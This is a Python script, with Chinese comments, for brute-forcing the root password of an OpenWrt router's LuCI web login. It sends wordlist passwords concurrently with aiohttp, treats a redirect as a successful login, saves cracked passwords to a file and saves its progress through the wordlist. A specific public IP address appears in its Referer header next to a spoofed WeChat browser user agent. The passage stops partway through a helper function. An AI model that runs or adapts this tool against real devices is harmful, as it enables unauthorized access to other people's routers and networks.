# -- coding: utf-8 --**
import requests
import aiohttp
import asyncio
import sys,os
import time
import json
import logging
import atexit
# 配置logging
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
sadgfg = {
"issuccess": False,
"passflie": {
"fliepath": "", # 字典名称
"line": 0 # 当前文件破解到了多少行
},
"datasucc": {
"user": None, # 当前破解的用户名称
"password": None, # 破解成功的密码
}
}
logging.basicConfig(level=logging.INFO,
format='%(asctime)s %(levelname)s %(message)s',
datefmt='%a, %d %b %Y %H:%M:%S',
handlers=[logging.FileHandler('openwrtlogin.log', 'w', 'utf-8')])
from termcolor import colored, cprint
def GetJsonini():
with open("example.ini", "a+",encoding="utf-8") as f:
f.seek(0,0)
if f.readlines():
f.seek(0, 0)
return json.loads(f.readlines()[0])
else:
j = {
'data' : {}
}
return j
def savejson(j):
with open("example.ini","w",encoding="utf-8")as f:
f.seek(0,0)
f.write(json.dumps(j))
jsonss = GetJsonini()
def exit_handler():
savejson(jsonss)
logging.shutdown()
atexit.register(exit_handler)
url = None
data = {
"luci_username": "root",
"luci_password": "123456",
# "Submit": "登 陆",
}
currenttime = time.time()
async def getpage(mobile,sem):
async with sem:
headers = {
# "uuid": "6B9CBB8F-E87E-4C14-969C-96E03E30",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://183.158.77.77:8081/cgi-bin/luci/",
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests":'1',
"User-Agent": "Mozilla/5.0 (Linux; Android 12; Mi 10 Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.141 Mobile Safari/537.36 XWEB/5049 MMWEBSDK/20230405 MMWEBID/8973 MicroMessenger/8.0.35.2360(0x28002353) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android"
}
data['luci_password'] = mobile
try:
async with aiohttp.request("POST",url,data=data,headers=headers) as response:
if(len(response.history) > 0):
with open("ua.txt","a+")as f:
f.write(mobile)
print("mima",mobile,"当前耗时",time.time()-currenttime)
sys.exit(cprint('[-] Canceled by user', 'red'))
except Exception as e:
print(e)
sys.exit(cprint('[-] Canceled by user', 'red'))
# if (re.findall("'login.html\?flag=(.*?)'",res)[0]!="0"):
# print(mobile[0])
sem = asyncio.Semaphore(20)
loop = asyncio.get_event_loop()
numcount = 0
def ss(passworlds,sunmmm):
"""
passworlds 密码数组
sunmmm 每组多少个
"""
for i in range(0, max(int(len(passworlds) / sunmmm), 1) + 1):
a = passworlds[i * sunmmm:(i + 1) * sunmmm]
if len(passworlds) - (i * sunmmm)